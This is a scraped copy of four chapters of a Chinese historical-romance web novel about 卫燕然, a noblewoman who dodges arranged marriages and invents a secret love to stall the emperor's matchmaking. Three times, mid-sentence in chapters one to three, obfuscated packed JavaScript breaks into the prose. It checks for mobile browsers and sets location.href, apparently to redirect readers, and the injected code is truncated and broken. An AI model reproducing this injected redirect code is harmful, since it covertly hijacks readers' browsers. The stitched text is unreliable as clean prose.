《今天拆散太子夫妻了吗?》
1. 第一章 卫四 暮春四月。
暮春四月。
京城,四时茶楼。
这间茶楼的历史不长,是普通的两层的楼房布局,楼下大厅布置散座,正中即是一方戏台。楼上围着戏台分隔出小室,廊庑环绕,隔了几间雅座。
此时戏台上正唱得兴起,突然一个身着青色襌衣的清俊“公子”跑了进来,引起了一部分观众的躁动。
她气喘微微地跑进一楼的大厅。恰逢此时台上的戏子正好唱到了高潮,她甚至来不及用袖子擦汗,就大喝一声:“好!”然后率先丢了二两银子到台上。
惹得其他人也跟着大喝:“好!”纷纷丢钱打赏。
跟着台上的锣鼓喧嚣,场子就这么热闹了起来。
见场子热闹了,卫燕然也稍稍松了口气,在大厅随意找了个位置坐了下来。
待台上咿咿呀呀的唱完了今日的戏份,时间已经一点一点地走到了日跌时分。
有一小侍走上前来,在卫燕然耳边恭敬地低语道:“卫四公子,郎君唤您呢!”
“嗯,告诉他,我就来。”卫燕然开口应道。
那小侍也就识趣地退下了。
卫燕然慢慢地喝完了最后一口茶,然后缓缓站起身,掸了掸衣袖,抬步就要往后台走。
突然,一个身穿深蓝长袍的少年跑了进来,大喊:“燕然姐,快跑!你家里派人来抓你回去相亲了!”
卫燕然一惊,还没来得及做什么反应,就见几个眼熟的侍卫跟在那蓝衣少年身后,进了茶坊。
其中一人道:“我就说,跟着王家这小子一定能找到卫四吧?”
另一人颔首,转向众人宣布道:“卫国公府悬赏,能抓到卫四的,得赏银十两。能传递有效消息的,得赏银五两。期间伤药全包。”
随着为首侍卫的那一声宣布,众人的目光游移到了那抬步欲走的卫燕然身上。
迎着众人的目光,她露出一个勉强的笑容,向众人打了个招呼:“今日来得这么早啊……”
不待她说完,其他人飞扑而上。那为首的侍卫也一声令下道:“上!”
面对众人的围捕,卫燕然反倒格外冷静。
只见她脚下一闪,便避开了离她最近的那两位女子的手,随后一脚踹在那飞扑而来的壮汉胸前,将那壮汉踹飞出去,接连撞倒了赶来的好几人。
然后她回身一躲,举起旁边的桌子往前一抬,正好挡住飞奔而来的两位侍卫。三人角力,她用力把桌子摔了出去,借着摔桌子的冲力,躬身飞快逃出了包围圈。几个闪身,茶楼里就不见了她的踪影。
其余众人也没闲着。就像一滴水滴入热油之中,整个茶楼里里外外都沸腾了起来,大家纷纷奔走相告:“又抓卫四了!这次悬赏纹银十两!”
有相熟的茶客惊奇道:“怎么又涨了?那这次我也去!”
旁边有位老神在在的茶客,吹一口浮沫,见怪不怪品茶道:“别想了。卫四的母亲可是江榆,那个我朝第一女将军。连卫老将军都不是卫四的对手,你们就更别提了。”
“……”
两位茶客谈笑间,没有注意旁边有人裹着茶桌上的灰布,悄无声息地经过了他们。
二楼雅座有一人头戴幕笠,悠哉地站在廊庑上看戏。他注意到了那鬼鬼祟祟的身影,指着对方朗声道:“快看,卫四在那呢!”
卫燕然身形一僵,抬头指着那人咬牙切齿道:“我与兄台无冤无仇,兄台何故害我!”
那人回之以一声轻笑。
不待她继续放狠话,周围众人纷纷朝她涌来——她无暇顾及那人了。
于是她转身站上茶桌,脚尖轻点向上一跃,抓住楼上的栏杆,正好避开朝她涌来的无数双手,一个翻身,就上了二楼。
站在楼上看戏的那人对她的突然出现毫不意外,甚至提前让开了路供她翻越,就像知道她会这么做一样。
只是不待他有所反应,就被卫四卡着脖子压倒在地。
撞击中那人的幕笠掉落,发冠松动,一头乌黑亮丽的长发披散下来。一双微微瞪大的莹润如玉的含情目,就这么被遮掩在了散落的长发中。
虽是惊鸿一瞥,但足以窥见其容貌之昳丽,世间少有。
卫燕然眉头一皱,桎梏着对方的手一松,道:“女子?”
不待身下那人回应,追兵们已经赶来。于是卫四一手拉起那人,一手捡起掉落的幕笠,一拉一推,便将人摔在雅间的的门扉上。
然后那人脸上盖着卫燕然丢过来的幕笠,正好避开了蜂拥而来的人流。
而卫燕然自己则仗着轻功,几个跳跃就消失在了茶楼之中。
“她往外面跑了,快追!”
……
茶楼后台。
卫燕然微微喘着气,姿态不雅地瘫坐在座椅上。
先前在台前唱旦角的郎君此时已经卸了妆,素着一张清秀的脸为她斟茶。
他名为陈渊,是茶楼的老板,也是戏班子的名角儿。
卫燕然接过陈渊的茶。只见那茶汤澄黄清亮,微微散着热气,凑近细闻,热气中还飘着几缕似有若无的茉莉香。
她忍不住深嗅一息,随即一口牛饮,然后不出意外地被呛得咳嗽连连。
陈渊嗔怪道:“慢点喝。”
“慢不了一点。”卫燕然一边咳嗽,一边连连摆手,“刚跑了那么多路,热死我了。”
陈渊疑惑道:“说起来,你又不是打不过他们,何必跑来这里躲?”
卫燕然放下茶杯,找了扇子拿出来一展,吊儿郎当道:“大家都不容易,何苦让他们因为一点儿小事受伤呢?跑一跑、躲一躲也没什么,就当热身了。”
陈渊放下手里的茶壶,轻哼一声,道:“这能怪得了谁呢?还不是因为有人今天非要翘了相亲,赶来看戏。”
他一边说着话,一边悄悄拿眼瞧她:“我听说,这次和你相亲的,可是户部尚书家的三郎,年纪轻轻就中了进士呢……”
卫燕然却不屑道:“嗐,就一道貌岸然的伪君子,长得丑不说,胆子还小。”
陈渊被她勾起了好奇心,赶紧给她又斟了一杯茶,道:“这又怎么说?”
卫燕然很是受用陈渊的殷勤,换了只手拿扇,端起杯子喝了一口,道:“前段时间,他逛青楼时看中一清倌,便养起了外室。”
“可后面一被人发现,就不敢承认,最后竟又把人送回青楼了。”
说着,她冷笑一声,道:“小人一个。”
陈渊又问:“那你又是从何得知的?”
卫燕然便顺口答道:“自然上次去的时候无意间撞见的……”
陈渊默了几息,冷哼了一声,道:“又是去见明月奴。”
说着便扭过身去,不看她了。
卫燕然扇子一停,赔笑着哄道:“那就一小孩儿,别跟他一般见识。”
陈渊知道这厮最擅长嘴上跑花,十分话最多只能信上三分,于是抿着嘴不说话。
卫燕然只好又哄道:“我就是看他怪有天分的,琴弹得不错。”
她又赔笑着说了几句好话,陈渊才勉强愿意搭理她,道:“那现下后门已经被你家里派人守住了,没有别的去处,你怎么办?”
卫燕然不以为然地轻笑一声,道:“这有何难?没有路,我便再走一条路出来。”
……
卫燕然费力地钻过院墙的狗洞,来到人烟稀少的街上。
陈渊在墙角后无语至极,嘴角抽搐地问道:“你的路就是去钻狗洞?”
卫燕然拍了拍身上的土,潇洒地把扇子一展,道:“成大事者不拘小节嘛。回见!”
说着,她一展扇子,步履拖沓地就要离开这座茶楼。
“嗖——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303284|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一只绳镖破空而来,眼见就要打在卫燕然身上了,她摇着扇子轻轻一打,那镖便改了方向,扎进了墙面。
卫燕然看到熟悉的武器,不敢停留,拔腿就跑。
“想跑?没那么容易!”
卫燕然边跑边喊道:“老吴!你上次去赌场输的钱还是我帮你赢回来的,现在不过区区十两银子,你就要卖我?”
那被叫做“老吴”的人“嘿嘿”一笑,道:“一码事归一码事。大夫人吩咐,由不得你。”
于是两人一人在前跑,一人在后追。
卫燕然一咬牙,助跑上墙,跳到民宅的屋檐上。刚上去,只觉脚下一滑,整个人失去平衡就要往下掉,还好她眼疾手快,用手擎住檐角。
她定睛一看,那害她差点滑下去的瓦片上油光瓦亮的。
卫燕然咬牙:“靠!你个老东西居然玩阴的?!”
老吴见她吃瘪,哈哈一笑,加快了速度,道:“你这小兔崽子的逃跑可是我教的,我还能不知道你想往哪里跑?”
卫燕然腰一扭,一个翻身,就上了屋檐,她转头朝老吴做了个鬼脸,道:“那又怎样?你都这把老骨头了,难道还能抓得住我?呵。”
说着,她继续往前跑。
面对卫燕然的挑衅,老吴也不恼,长啸一声,就见两个看不清面孔的侍卫一人端着一筐熟烂了的柿子,突然从巷子里蹿了出来。
这两人不远不近地跟着卫燕然,对着她和她脚下的路就是一阵攻击。
卫燕然爱干净,对此只能暗骂一声,一边跑,一边咬牙切齿地左右横跳,来避开那两人丢过来的烂柿子。
看着卫燕然略显狼狈的背影,老吴哈哈大笑:“这次你没办法了吧?老实跟我回去相亲吧。”
气得卫燕然破口大骂:“你个卑鄙的糟老头子。你给我等着!”
老吴却笑道:“这叫兵不厌诈。跟我斗,你个小兔崽子还嫩着呢。”
趁这个机会,他赶紧一个提速,追了上来。
两人之间距离越来越近,越来越近。
眼见老吴的右手就要碰到卫燕然的肩了。
就在这千钧一发之际。
那两侍卫丢柿子的动作停了——柿子丢完了。
卫燕然一愣,大笑一声,拿着不知何时抽出来的折扇,手腕一抖,便打开了老吴的手。
老吴只觉眼前一花,还没有反应过来,那扇子就打遍了他胳膊上的大穴,让他的右手动弹不得。
卫燕然回身冲老吴笑,行了一礼,道一声:“回见。”
转身便一个提速,轻松的甩开了老吴。
眼前就是小巷的尽头了。
出了这条巷子,那可就真是天高任鸟飞,海阔任鱼跃了。
卫燕然眉梢眼角里写满了得意。
哼,就凭这点儿人还想抓她回去,简直是痴人说……
“嘭——”
只听一声闷响,卫燕然撞上了一处突然打开的轩窗。
她捂着额头,弯腰躲开那窗户,咬咬牙,正想继续向前。
又听“哗啦——”一声。
那窗户探出一双手,手上拿着一只木盆,木盆在往外泼水,水正正好全倒在了卫燕然身上。
卫燕然愣在了原地,傻眼了。
那水一寸一寸地浸湿了她的衣服,把青色的襌衣染成深绿。湿掉的衣裳厚重又黏腻地爬上她的皮肤,把她的脚牢牢地锁在了地上。
也不知那水是用来洗什么的,一股味儿。
她和拿盆的女子面面相觑。
“咚”地一声闷响,那拿盆的女子手一松,盆掉在了地上。顾不得捡盆,那女子尖叫一声,“刷”一下就关上了窗。
留下卫燕然不得不回头,看向背着手,老神在在地停在她身后的老吴。
“那个,我现在跟你们回去,算自首吗?”
2. 第二章 进宫
这是抓卫四最轻松的一次。
难得她既没有搞事,也没有挣扎,老老实实地跟在众人身边。
但在还没到卫国公府的正门时,卫燕然就眼尖地发现,有几辆不属于自家的马车停在了门口。其中一辆的规格还是皇室才有资格使用的。
怎么了这是?
卫燕然看向身边人,但被她看到的人都只觉得莫名其妙,似乎并不知道些什么。
于是她停下来,等了一下队尾的老吴,凑过去小声问:“发生什么事了?怎么宫里也来人了?”
老吴闻言,也惊了一下,道:“宫里?我不是抓你回去相亲的吗,怎么和宫里扯上关系了?”
卫燕然深知以老吴的性格,若是知道些什么,嘴上最是没有把门。
于是她“呵”了一声,重重地跺了他一脚,然后一溜烟儿地又跑到了前面去了。
留下老吴站在原地,抱着脚龇牙咧嘴地道:“你个兔崽子,知道什么叫尊老爱幼吗?”
回答他的只有卫燕然的冷笑。
行至国公府,刚进门就被一位侍女拉住了。
那侍女看上去不过十七八岁的年龄,衣冠齐整,眼神坚毅,头发束得一丝不苟,嘴角天生上扬却又时常紧绷着,丝毫看不出与年纪相符的活泼。
来人正是卫燕然的贴身侍女之一,青竹。
“青竹?你在这里干什么?”
青竹小声道:“宫里来人了,说是贵妃娘娘和陛下想您了,让您进宫一趟。”
“那他们现在人呢?”卫燕然问道。
青竹又道:“大夫人正在前厅招待他们呢。”
卫燕然微微皱了皱眉,但很快又舒展开,恢复了吊儿郎当的纨绔模样。
她玩世不恭地笑眯了眼,吩咐道:“既如此,那只好再辛苦他们多等等了。我得先回院子梳洗一下,总不好这样去见陛下和贵妃娘娘。”
她摸了摸青竹的头,道:“你去告诉他们稍等,记得态度放尊重些。”
青竹点了点头,目光却有些忧心忡忡。趁众人不注意偷偷塞了张纸条给卫燕然。
卫燕然默不作声地收下,安慰地拍了拍她的手。
回到自己的潇湘院,已有丫鬟婆子们备好了热水。卫燕然不习惯旁人伺候,打发了众人下去,一个人踏入水里。
她敷衍地往自己身上浇水,水温不冷不热地刚刚好,让人酥酥麻麻地爽到了头发丝。漂浮的花瓣顺着水波沾在她身上,被水流冲走又漂回来。她抱着水,水托着她。
刚刚青竹塞给她的纸条,她在回来的路上已经看过了。
皇帝开始操心她的婚事了。
他会有这么好心?
不可能的。
话到这里,不得不提一下卫家了。
卫太爷也是当年和太祖一起打过天下的,所以有个国公的爵位。自今上登基以来,边关一直不算太平,卫家作为泾随之变后硕果仅存的将门,自然义不容辞要领兵。
卫老爷子有三个儿子一个女儿。
卫大爷自四年前卫老爷子去世后,便继承了卫国公的爵位,其妻子正是青竹口中的大夫人陈汝。两人膝下有二子一女,不过大儿子已经去世了,大女儿也已经嫁人了,只剩小儿子和父亲在边关。
卫二爷,也就是卫燕然的父亲,和妻子江榆一起,死在了五年前边关的最后一场战役中。
至于卫三爷,十年前就去了。他膝下只有一个儿子,目前也跟着伯父在边关。他死后,妻子被娘家人接了回去,现在已经改嫁多年了。
卫姑姑做了今上的贵妃娘娘,可惜膝下只有一个女儿。
故而,卫燕然靠着家里的兵权和军功,在京城里横行霸道,也没人敢多说什么。
但一切平和都只在表面。事实上,皇帝早已对掌握了大半兵权的卫家看不顺眼了。
只是兵权这东西,给出去容易,收回来难。从正在边关打仗的人手里收回来,更是难上加难。
权力是个好东西,人人都想要。可要是真这么容易就能得到,就不会有这么多君臣相杀的美谈了。
不过这些事还轮不到卫燕然操心,她继续做她的纨绔便好。
她把自己淹进了水中。
波凌的水光映在屏风上,照出斑驳的影子。
过了一会儿,她突然抬头,从水里冒了出来。
水淅淅沥沥地从她脸上滑落,又消失在水中。温热的水珠带走一片微凉。
她踏出浴桶,伸手抓起屏风上的衣服。
做了些非做不可的小事后,她唤人来为她更衣。
一位身穿红裙的侍女走了进来。她看上去大约二十左右,身形高挑,容貌殊丽,瞳孔是浅浅的蜜色,发丝蓬松卷翘总也梳不整齐,索性干脆扎上一个高马尾,也算干净利落。
她是卫燕然另一位贴身侍女,名为红梅。
看见卫燕然又把自己搞得乱七八糟,她皱起眉头,道:“你这怎么搞的?身上都湿透了。”
卫燕然倒是理直气壮:“我不会嘛。”
红梅嘴角抽动了一下,几次欲言又止,还是什么也没说,站到卫燕然身后,熟练地为她绞起了头发。
卫燕然看着铜镜里的红梅,笑了。她往桌上一拍,对着铜镜搞怪地做了几个口型。
红梅楞了一下,勉强笑了笑,却还是点头了。
卫燕然打理完头发,换了一件白色的襌衣,搭配上墨色的腰带和褂子,又扇着她的折扇,步伐嚣张地朝大厅走去。
“哟,孙大伴,是哪儿的风把您给吹来了?”卫燕然笑着踏进了大厅,“得是什么事儿才能使唤得动您老人家。”
“卫小姐言重了。”那老太监笑着起身,“来卫家可是多少人求不来的好差事。”
坐在上首的陈汝放下手里的茶杯,看向卫嫣然,责怪道:“都多大年纪了,还这么没大没小的。也就是孙大伴大人有大量,不跟你这小孩计较。”
“伯娘你说的什么话,人孙大伴可是能上闻天听的人,怎么会小气?”卫燕然不以为然地笑,边说边摇头,“您这可是门缝里瞧人,把人看扁了。”
眼见话题又要刹不住,孙大伴赶紧打断,连连道:“既然卫小姐也来了,不若我们就直接出发吧?”
陈汝点了点头,对卫燕然说道:“进了宫你给我紧着点儿。别以为仗着你姑姑宠你,你就能无法无天了。”
“你看你回来,我收不收拾你就是了。”
卫燕然撇嘴,不以为意地伸手扇了扇风,道:“知道了知道了,还走不走了?再不走天都黑了。”
陈汝朝他们摆了摆手,示意他们赶紧离开,一副恨不得眼不见为净的模样。
经过马车一路颠簸,卫燕然到了皇宫门口。
以卫燕然的身份,自然是没资格从正门进的。她从偏门通过宫门,跟着领路的宫女七拐八拐,不知走了多久,到了卫贵妃的玉泉宫。
卫贵妃名
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303285|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为卫子娴,和卫三叔是龙凤胎。她从出生起,身体就不是很好,是卫家唯一一个体弱多病的人,加上又是家中独女,深得老国公夫妇的喜爱,自小便被骄纵惯了。
现下虽已年近四十,却依然像在闺中一般,脾气大不说,还时常无理取闹。
也就一张脸,生得貌美如花,没有辜负宠妃之名。
卫燕然一进殿门,便笑着嚷道:“姑姑,我可想死你了。”
卫子娴靠在贵妃椅上,哼了一声,别过脸不看她,阴阳怪气道:“想我?几个月不来看我一次,也好意思说想我?”
卫燕然走过去,娴熟地抱着卫子娴的手臂,道:“我那不是怕我出现得太频繁,惹您烦嘛。”
“少来。”卫子娴点了点卫燕然的额头,“我可不吃你这一套。”
卫燕然也不躲,在卫子娴放下手后,才佯装着委屈说道:“我也是想来看姑姑的。但伯娘说了,国有国法,家有家规,让我少进宫,免得旁人说姑姑闲话。”
卫子娴闻言,脸色变了几番,怒道:“又是这个老妇!当年我还在家中时,她就和我不对付。现在年纪大了,还要和小辈编排我。”
她怒气冲冲地对身旁的宫女道:“拿纸笔来,我要写信给我大哥,让他休了这个老妇!”
卫燕然失笑,当年卫子娴在闺阁中都没做到的事,现在过了十几年了,难道又能做到了?
她伸手,帮卫子娴顺了顺气,道:“姑姑别急,我话还没说完呢。”
卫子娴甩开卫燕然的手,迁怒道:“你也是。既和你伯娘好,又来找我作甚?回去找你伯娘去!”
“真的?”卫燕然挑眉反问。卫子娴回之以冷哼,不答。
于是卫燕然站了起来,叹息一声,遗憾道:“既然姑姑现在不想看见我,那我就回去了,省得在这里惹人烦。”
说着就要往门外走。
卫子娴朝她丢了个靠枕,骂骂咧咧道:“给我回来!”
卫燕然转身接住了靠枕,嬉皮笑脸地坐回原位,道:“我就知道姑姑舍不得我。”
卫子娴冷哼一声,转过身去,不理她。
卫燕然也不在意,继续说道:“伯娘说,姑姑你一个人在宫中,性子又急,明里暗里不知道得罪了多少人。
她轻笑,故意恐吓道:“这宫里,也不知道有多少双眼睛都盯着姑姑,指着姑姑犯错呢。”
卫子娴撇了撇嘴角,面色微微松动。
卫燕然假装没看见,又道:“我频繁入宫,不是给姑姑立靶子吗?连皇后娘娘都没有的待遇,我做了,岂不是故意让陛下为难。”
卫子娴轻哼一声,骂了一句:“他敢。”脸色却好看了不少。
卫燕然靠过去,又道:“虽然姑姑和姑父感情深厚,可有心算无心,再深厚的感情也经不起折腾啊。”
卫子娴抿嘴,嘴角微动,却没说出什么话来。
卫燕然微微一笑:“伯娘还说,姑姑在宫中本就不易,这样给她添麻烦的事,能少一点便少一点吧。”
卫子娴又轻哼一声,嘟囔了几句“还算那老妇识相”之类的话,就彻底不生气了。
身旁的宫女们倒是习以为常,对卫燕然这样三言两语便哄好贵妃这样的事,已经见怪不怪了。
卫燕然喝了两口宫人奉的茶,仿佛这时才发现屋里少了个人一样,奇怪地问道:
“对了姑姑,不是说你和皇帝姑父找我有事吗?我姑父他人呢?”
3. 第三章 心上人
闻言,卫贵妃长叹了一口气,满眼心疼,道:“你姑父刚才都还在这里,突然接了个急报,便离开了。”
她又是骄傲又是抱怨地说道:“真是,现在连一家人吃个饭的时间都没有了。一天到晚就知道忙忙忙,也不知道每天在忙些什么。”
以前可能是在忙着和新来的妃嫔厮混,不过今天,应该在忙着处理边关递来的通报。
只是这些就没必要和恋爱脑的卫贵妃说了。
卫燕然微微一笑,又挑起几个家常的话题,和卫贵妃聊了起来。
聊到一半,卫贵妃突然想起了今天的目的,便道:“说起来,你这小丫头也已经老大不小了,对婚嫁一事,就没有什么想法吗?”
卫燕然顾左右而言他道:“我哪里算大了,玉溪表姐比我年长一月有余呢。她都还未婚配,哪里轮得到我?”
萧玉溪便是卫贵妃和皇帝生下的女儿。
卫贵妃嗔道:“你表姐和你不一样。而且现在说的是你,你别给我打岔。”
还是来了。
卫燕然悄悄叹了口气,看着给别人当刀而不自知的卫贵妃,除了无奈就只剩无奈了。
罢了,一个家里怎么可能都是聪明人呢?
这样稀里糊涂地过完幸福的一生,也不能说不好。
于是她长叹一声,黯然神伤道:“不是我不想成婚,只是,我已经有心上人了。”
“哦?”卫贵妃眼睛一亮,坐姿也端正了些,“不知是哪家的公子?我可认识?”
卫燕然摇了摇头,道:“别问了,姑姑。他已经有婚约了。”
“那有如何?”卫贵妃柳眉一竖,一拍桌,“我卫家的女郎看上他,是他的福分。他难道敢拒绝你?”
她看卫燕然不说话,又道:“若是对方担心名声不好,我还可以让你皇帝姑父给你们赐婚,定叫别人挑不出错来。”
卫燕然却拒绝了,道:“姑姑你不懂。他那未婚妻是他心上人,两人是天造地设的一对儿,我怎么好棒打鸳鸯呢?”
卫贵妃欲言又止,不知脑补了些什么,把自己感动得泪眼朦胧。
她拉起卫燕然的手,道:“你且同我详细说说。我看看可还有转圜的余地?”
卫燕然几次推请,拒绝不过,只好喝了杯茶润了润喉,清了清嗓。然后一张嘴便是一个缠绵悱恻,催人心肝的暗恋故事。
从月下初见,到默默关注。从得知身份,到黯然神伤。其揪心程度,不亚于一部《牡丹亭》。惹得卫贵妃几度泪洒当场。
旁边刚入宫不久,前来奉茶的宫人,也都偷偷用袖子擦着眼泪。
甚至有人忍不住问出了声:“那后来呢?后来你与那公子可还有来往?”
“欲知后——咳咳。”
卫燕然咳嗽了两声,赶紧喝了口茶,佯装失落道:“自然是没有了。我怎么好再去打扰他来之不易的幸福呢。”
卫贵妃也心疼地看着侄女,问道:“那你怎么办?”
卫燕然倒是洒脱,微微一笑,道:“我没关系。说不定等他成了亲后,我也就看开了。只是现下,我确实无心婚嫁之事……”
“当真毫无转折吗?”卫贵妃听得眼泪又快掉下来了,“我让陛下许之以高官厚禄呢?”
卫燕然摇头,道:“他自己便出身高贵,哪里需要我们画蛇添足。”
卫贵妃受不住了,抽出帕子压了压眼睛,然后抱住卫燕然嚎啕大哭,道:“我苦命的孩儿啊。”
卫燕然安慰地拍了拍卫贵妃的肩膀,长叹一声,不说话了。
在卫贵妃身后,几位故事听得入神的宫女,也忍不住悄声攀谈了起来。
“没想到卫娘子看起来洒脱不羁,却是个性情中人。”
其中一人疑惑道:“可是卫娘子刚刚,是不是说了‘欲知后事’?”
另一位听得泪眼汪汪的宫女,瞪了说话那人一眼,斥道:“住嘴!这般叫人辗转反侧的爱情,定然是亲身经历过才能说得出来。你不懂别乱说!”
那被骂的宫女挠了挠头,道:“也是……”
一时间,大殿中擤鼻子的声音此起彼伏。
过了好一会儿,卫贵妃才缓过来,心碎道:“本来陛下还同我商量着,你婚嫁之事再没着落,就干脆让你选秀进宫,在宗室里挑个夫婿,还能常常进宫同我和玉溪做伴儿。”
说着,她两行清泪又滚滚而下,好不可怜。
她又抽泣道:“如今看来,还好提前问了你。可是……还不如进宫了好呢。”
卫燕然拍着卫贵妃的手一顿,转头却又笑着为卫贵妃拭泪,道:“甲之蜜糖,乙之砒霜。比起当什么宗室王妃,我更宁愿做一辈子老姑娘。”
“好孩子。”卫贵妃拍了拍卫燕然的手,“往后姑姑再不提了。你什么时候想通了,什么时候再叫你姑父给你赐婚也不迟。咱们卫家的女儿,不愁嫁。”
卫燕然笑了笑,不着痕迹地转移了话题。
又话了几句家常,天色渐晚。卫贵妃顺势留了卫燕然吃晚饭。
饭后,卫燕然坚持离宫,卫贵妃依依不舍地挽留再三后,也只好依了她,让贴身的女官送客。
行至卫贵妃的小花园时,卫燕然停了脚,对送行的女官道:“常姑姑,就送到这里吧。贵妃那里离不得人,您送到这里就可以了。”
被唤作“常姑姑”的女官年龄大约在四十左右,为人严谨,做事小心。虽不是很讨卫贵妃的喜,但因为是卫家送进宫陪卫贵妃的,卫贵妃倒也还是愿意听她的话。
可以说,卫贵妃在宫里这些年,玉泉宫至今没有出什么大乱子,常姑姑功不可没。
被卫燕然点名,常姑姑向来严肃的脸上,也难得多了几分笑意,她道:“卫娘子客气了。这些都是我分内之事,怎么称得上麻烦?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303286|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
卫燕然微微一笑,态度难得尊敬,道:“这些年辛苦常姑姑了。贵妃那里还得有劳您多操心些。近日可以多敲打敲打她,别让她又去陛下那里胡闹。”
常姑姑含笑应了,又问:“那卫娘子你今日所言之事,可需要让宫人们闭嘴?还是说,卫娘子希望他们宣扬出去?”
卫燕然摇头,道:“都不用。太过刻意反而不正常,让他们顺其自然吧。”
常姑姑了然,行了一礼,告辞道:“既如此,卫娘子你多加保重,我就先回去了。”
卫燕然点了点头,道:“常姑姑你也是。”
两人说完,常姑姑转身回了玉泉宫,卫燕然向前踏入夜色里。
卫燕然刚出玉泉宫不久,便撞上了五公主萧玉溪。
萧玉溪容貌不似卫贵妃那般浓艳,反而像极了年轻时的皇帝,清丽淡雅,气质高华,喜穿繁复衣饰,行走间,环佩丁零。
卫燕然已经算是女子中身量高的了,萧玉溪身量较卫燕然还要高挑些。说是表姐妹,细细看来,也只有那双温柔的凤眼与卫燕然有几分相像。
萧玉溪率先打了招呼,道:“表妹。好久不见。”
见到表姐,卫燕然微微有些惊讶,随后也笑得真切了些:“表姐。这么晚了,你来干什么?”
萧玉溪朝卫燕然身后的玉泉宫看了看,示意道:“我来给母妃请安,顺便来看看你。”
卫燕然了然,也不问为什么刚才萧玉溪没有出现,宽慰道:“我没事。贵妃娘娘这关算是过了。陛下目前也是要务缠身,短时间内,应该抽不出空来关心我一个纨绔的婚事。”
萧玉溪闻言,歉意道:“母妃又给你添麻烦了。她……唉,你别见怪。”
卫燕然拍了拍萧玉溪的肩,道:“都是一家人,早见怪不怪了。还能离咋的。”
萧玉溪叹息一声,意有所指地转移了话题,道:“说起来,我听闻父皇他近来似乎常常召见大皇兄,连太子都不太搭理了。”
大皇子是淑妃的儿子,外家家世不显却颇有贤名。可惜他自己是个空有野心,刚愎自用的草包。
他与太子一个占嫡,一个占长,自是谁也不服谁,常年争执不休。当年二人为争夺太子之位,闹得好不热闹。
卫燕然沉默地点了点头,道:“我明白了,我会想办法的。”
萧玉溪见卫燕然知道自己的意思,笑了笑,告别道:“时间不早了,我得去和母妃请安了。待我有空再来找你。”
闻言,卫燕然一挑眉,笑道:“别了。你每次一找我就没好事儿。”
萧玉溪撇了下嘴角,故意道:“就找就找,气死你。”
两人凑到一起,小声笑闹了两句,便双双告别了。
回家的路上,卫燕然抬头望了一下天。
月明星稀,却有乌云蔽月。
希望明天会是个好天气吧。
4. 第四章 相亲
两日后,卫国公府。
陈汝和卫燕然两人对峙着,谁也不肯让步。
陈汝冷声道:“今日的相亲你是去也得去,不去也得去。”
卫燕然轻哼一声,不接话。
陈汝又道:“你哼也没用。不管你怎么想,你今天都必须得给我去相亲!”
卫燕然看着冷脸的陈汝,突然有些心软,叹了一口气,道:“伯娘。你这又是何苦呢?”
她漫不经心地转了转手中的折扇,道:“整个京城谁不知道卫四公子的纨绔名声?你难道还真以为我能相到什么好人家?”
说完,不待陈汝反应,她又自嘲一笑,道:“现在这些上赶着来的,无一不是有所求、有所算计的,开始目的就不纯,又怎么会有好结果?”
陈汝沉默了半晌,软了语气,道:“……总归是要试试的。你今年都已经二十了,京城里没有哪家姑娘这么大了还不成家的。”
她伸手,抚上了卫燕然的头发,道:“不是伯娘赶你走,你若愿意,娶个赘婿回来也可以。可是,人怎么能不成婚呢?”
说着,她从袖口拿出手帕沾了沾眼角,努力压抑住声音里的哽咽,道:“你父母去得那么早,还只有你这么一棵独苗苗。你若是不成亲,百年之后,我怎么和你父母交代?”
“我都没有脸面去见你爹娘了……”
说着,陈汝拿着帕子擦泪,休息了片刻,又道:“去见见吧,成不成再说,至少先去见一面。总不能真任由皇帝把你往火坑里推啊……”
卫燕然听着陈汝的抽噎,看着她因为低头而露出的白发,叹息一声,妥协道:“好好好,我去见,去见行了吧。”
陈汝立刻变脸,放下手帕,两侧的脸颊干干,哪里有什么哭过的痕迹?
她一招手,对身后的两位婢女道:“赶紧的,女郎同意了。快给她打扮起来。”
又是在骗人?!
卫燕然恼怒道:“又是这招!你敢不敢有点新意?”
陈汝擦了擦刚才眼睛里拼命眨出来的泪水,道:“招不在新,有用就行。你们赶紧的,别耽误了时辰。”
在卫燕然还没反应过来的怔愣中,陈汝身边的婢女走过来,挤开卫燕然身后的青竹和红梅,拉着卫燕然打扮起来。
卫燕然几次挣扎无果,都被拖了回去。
“不是,我只是答应去相亲,没说我要穿曲裾……直裾也不行!”
“我不要化妆,给我拿开……”
“嘶,别扯我头发!轻点!”
“别带这么多簪子,压得我脖子都抬不起来了……”
总之,虽然有卫燕然的激烈抵抗,最后收拾出来的她,确实勉强能称得上一句人模人样,是正常大家闺秀的模样。
卫燕然扯着身上的衣裳,皱眉道:“这什么玩意儿啊,根本不好活动……”
